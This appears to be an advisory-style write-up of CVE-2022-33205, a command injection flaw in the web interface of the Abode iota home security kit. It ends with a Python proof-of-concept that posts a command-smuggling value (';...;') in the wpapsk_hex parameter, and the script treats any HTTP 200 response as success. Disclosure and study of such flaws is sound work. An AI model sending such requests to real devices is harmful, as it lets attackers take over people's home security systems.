CVE-2022-33205 - Four OS Command Injection Vulnerabilities Discovered in Abode iota All-In-One Security Kit

The Abode Systems, Inc. iota All-In-One Security Kit is a comprehensive security system that provides home and office protection. The kit comes with a variety of components, including a central hub, motion sensors, door/window sensors, and a wireless key fob. It's designed for easy installation and integration with existing security and smart home systems.

Recently, a major security vulnerability labeled as CVE-2022-33205 has been discovered in the web interface of the iota All-In-One Security Kit, specifically in the /action/wirelessConnect functionality. This vulnerability affects both firmware versions 6.9X and 6.9Z.

Vulnerability Details

The CVE-2022-33205 vulnerability consists of four OS command injection vulnerabilities that exist due to the unsafe use of the wpapsk_hex HTTP parameter to construct OS Command at offset x19bac of the /root/hpgw binary included in firmware 6.9Z.

When exploited, this vulnerability allows an attacker to make authenticated HTTP requests that lead to arbitrary command execution on the target security system. In other words, an attacker with access to the web interface could potentially gain control of the entire security system, putting the owner's safety and their property at risk.

Code Snippet

The following code snippet showcases how an attacker might use the unsafe HTTP parameter wpapsk_hex to exploit the CVE-2022-33205 vulnerability.

#!/usr/bin/python3
import requests

TARGET = "http://192.168.1.21";
AUTH_TOKEN = "PUT_YOUR_AUTH_TOKEN_HERE"

attack_payload = {
    "wpapsk_hex": ";PUT_YOUR_ARBITRARY_COMMAND_HERE;"
}

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}"
}

url = f"{TARGET}/action/wirelessConnect"

response = requests.post(url, data=attack_payload, headers=headers)

if response.status_code == 200:
    print("Exploit successful!")
else:
    print(f"Exploit failed: {response.status_code} - {response.text}")
